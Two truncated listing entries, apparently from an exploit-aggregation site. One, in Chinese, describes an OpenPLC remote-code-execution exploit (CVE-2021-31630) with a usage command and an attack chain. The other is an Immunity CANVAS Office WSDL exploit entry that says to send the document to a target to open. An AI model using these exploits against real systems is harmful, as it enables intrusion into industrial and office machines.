CVE-2021-31630

CVE-2021-31630 打HTB的机器时候碰到的cve，exploit-db的exp有些错误于是给出手工利用方式以及exp 脚本使用 命令执行无回回显 root@kitploit: python exp.py -u http://127.0.0.1:8080 -l openplc -p openplc -c "whoami" 手工exp 后台的攻击链如下 创建st项目并编译→在hardware处加入恶意代码，并编译到项目本体中→start项目触发恶意代码 demo.st root@kitploit: PROGRAM prog0 VAR varin : BOOL; varout :...

Immunity Canvas: OFFICE_WSDL

Name| officewsdl ---|--- CVE| CVE-2017-8759, CVE-2017-8570 Exploit Pack| CANVAS Description| Microsoft Office Moniker/WSDL C Injection Notes| CVE Name: CVE-2017-8759, CVE-2017-8570 VENDOR: https://office.com Notes: Send the resulting document to someone and have them open it. If the target is...